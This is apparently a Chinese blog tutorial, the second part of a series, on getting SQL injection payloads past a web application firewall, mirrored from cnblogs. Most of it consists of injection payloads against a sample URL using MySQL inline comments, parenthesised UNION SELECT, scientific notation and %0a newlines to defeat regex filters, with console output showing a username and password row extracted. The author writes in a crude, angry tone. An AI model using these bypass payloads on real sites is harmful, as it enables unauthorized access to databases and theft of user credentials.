zoukankan      html  css  js  c++  java
  • 过狗注入学习姿势分享2[投稿华盟网]

    今天是日狗的第二天

    这回一来先上内联:

    payload

    http://www.baidu.com/def.php?id=331/**//*!and*//**/1=1

    结果并非那么顺利了。

    先不管and了。我们直接上联合查询语句。

    很显然这并不行。

    然后我在《我的bypass waf之道注入篇》中看到了科学记数法

    试试。

    显然依旧不行。

    其实在union之后可以使用括号括住内联。

    mysql> select 1,2,3 union(/*!select 4,5,6*/);
    +---+---+---+
    | 1 | 2 | 3 |
    +---+---+---+
    | 1 | 2 | 3 |
    | 4 | 5 | 6 |
    +---+---+---+
    2 rows in set (0.00 sec)
    

    那我们来应用试试。

    感觉应该是可以了呀。擦。中间有个空格,试试等价替换。

    成功爆出显示位!

    但是from却不行!

    关于这个from要怎么绕过。暂且未想出。

    然后不小心发现。

    擦,不是拦截from啊。。。啥情况???

    感觉是正则匹配

    select * from xxx
    

    擦。使用%0a来扰乱他的正则。%0a是换行的意思。

    老子已经愤怒。日哦!啥JB玩意儿。

    这里要给大家将一个知识点。

    该payload

    ?id=331e1/**/UNION/**/(/*!SELECT/**/1,2,3,4,5*/)
    

    中的/**/注释符是先被waf解释的,否则是到了mysql中是无法执行的。 如下所示: 

    mysql> select * from sql1 where id = 1 union/*!select/**/1,2,3*/;
    ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
    mysql> select * from sql1 where id = 1 union/*!select 1,2,3*/;
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    | 1  | admin    | 123456   |
    | 1  | 2        | 3        |
    +----+----------+----------+
    2 rows in set (0.00 sec)
    
  • 相关阅读:
    Entity Framework Core tools reference
    安装 SQL Server 并在 Ubuntu 上创建数据库
    Install Docker Engine on Ubuntu
    ubuntu 18.04 安装.net 5
    C# 远程服务器 安装、卸载 Windows 服务,读取远程注册表,关闭杀掉远程进程
    ASP.NET MVC ActionResult
    使用WCF实现消息推送
    postgresql 数据类型转换,日期操作函数
    sql 按姓氏笔画(拼音)排序
    postgresql 导入导出
  • 原文地址:https://www.cnblogs.com/xishaonian/p/6582428.html
Copyright © 2011-2022 走看看